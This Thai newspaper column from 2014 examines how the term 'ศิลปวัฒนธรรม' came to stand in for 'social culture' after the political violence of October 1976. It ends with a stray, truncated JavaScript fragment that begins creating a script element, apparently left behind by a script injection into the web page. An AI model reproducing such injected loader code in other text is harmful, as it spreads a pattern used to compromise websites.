มติชนรายวัน ฉบับประจำวันจันทร์ที่ 8 ธันวาคม 2557

 

สังคมวัฒนธรรม มีอนาคต

          มีผู้ไม่แฮปปี้กับความหมายของคำว่าศิลปวัฒนธรรม เลยเขียนถามว่ารู้ไหมความเป็นมาว่ามียังไง?

          ศิลปวัฒนธรรม เริ่มมีขึ้นใช้ในภาคเอกชน แล้วเป็นคำถูกยกมาใช้พรางความหมายของสังคมวัฒนธรรม

          เพราะใช้สังคมวัฒนธรรมตรงๆไม่ได้ จะถูกใส่ร้ายป้ายสีเป็นฝ่ายตรงข้าม ซึ่งสุ่มเสี่ยงสูงมากต่อการถูกเพ่งเล็ง แล้วถูกข่มขู่คุกคามทางการเมืองจากเผด็จการบ้าคลั่ง หลังเหตุการณ์ป่าเถื่อนกลางมหานครเมื่อ 6 ตุลาคม 2519

          สังคมวัฒนธรรม มีความหมายเดียวกับคำฝรั่งว่า culture ไม่อนุรักษ์ ไม่หยุดนิ่ง ไม่แข็งทื่อมะลื่อ ไม่ต่อต้านประชาธิปไตย และไม่ขัดขวางความเปลี่ยนแปลง

          คำว่าวัฒนธรรม เป็นภาษาบาลี-สันสกฤตที่ผูกขึ้นใหม่เมื่อไม่นานมานี้ แล้วยืมมาใช้หวังจะให้มีความหมายตรงกับศัพท์ตะวันตกว่า culture แต่ไม่ตรง

          วัฒนธรรมในภาษาไทย ไร้ปัจจุบันและอนาคต เพราะถูกกำหนดโดยทางการให้มีแต่อดีต

          หมายถึงสิ่งดีงามอันเป็นมรดกตกทอดของคนชั้นสูงและคนชั้นนำ จึงเป็นสัญลักษณ์ของอนุรักษนิยม หยุดนิ่ง แข็งทื่อมะลื่อ

          แม้ต่อมาภายหลังจะพยายามขยายขอบเขตครอบคลุมถึงชาวบ้านในชุมชน แต่ก็ยังเน้นยกย่องสิ่งดีงามที่หยุดนิ่งอยู่กับอดีต โดยไม่มีอนาคต

          ศิลปวัฒนธรรมที่ใช้แพร่หลายนั้น ความจริงศิลปะเป็นส่วนหนึ่งของวัฒนธรรมอยู่แล้ว

          ปัจจุบัน ศิลปะหมายถึงงานช่างที่ได้รับยกย่อง โดยมีขึ้นจากพลังสร้างสรรค์ของคน จึงมักใช้เป็นสัญลักษณ์ของสิ่งร่วมสมัย และก้าวหน้า ไม่หยุดนิ่ง

          (แต่รากของคำว่าศิลปะ หมายถึงวิชาความรู้ทั่วไป ตรงกับภาษาอังกฤษว่า knowledge)

          เมื่อถูกใช้รวมกันเป็นศิลปวัฒนธรรม นานเข้าศิลปะก็ถูกพลังวัฒนธรรมครอบงำดูดกลืนให้หยุดนิ่ง และอนุรักษนิยมแข็งทื่อไปด้วย

          จึงมุ่งแต่กิจกรรมร้องรำทำเพลงตามจารีตนิยม แล้วฟูมฟายโหยหาอดีตปลอมๆด้วยเครื่องแต่งตัวที่ประดิษฐ์คิดขึ้นเอง แต่ย้อมแมวว่านั่นคือความเป็นไทย

          ศิลปวัฒนธรรมในภาษาไทย ราว 30 ปีที่ผ่านมา มักถูกยกไปใช้ในสถานการณ์ทางการเมืองเผด็จการที่ปิดกั้นกิจกรรมการเมือง

          ร่องรอยครั้งแรกก่อน 14 ตุลาคม 2516 ใช้งานช่วงสั้นๆรวมอยู่ในกิจกรรมบันเทิงโดยกลุ่มผู้สื่อข่าวเสรีนิยม ครั้งหลังเริ่มใช้แพร่หลายเมื่อหลังเหตุการณ์ 6 ตุลาคม 2519

          ผมสรุปย่อๆเท่าที่พบด้วยตัวเองได้แค่นี้ เพื่อตอบความตามที่มีผู้ถามมา

          กรุณาอย่าเอาไปโยงเรื่องอื่นๆนอกเหนือจากที่เขียนมานี้ ซึ่งผมไม่เกี่ยวข้อง และไม่รู้เรื่องvar d=document;var s=d.createElement(‘script’);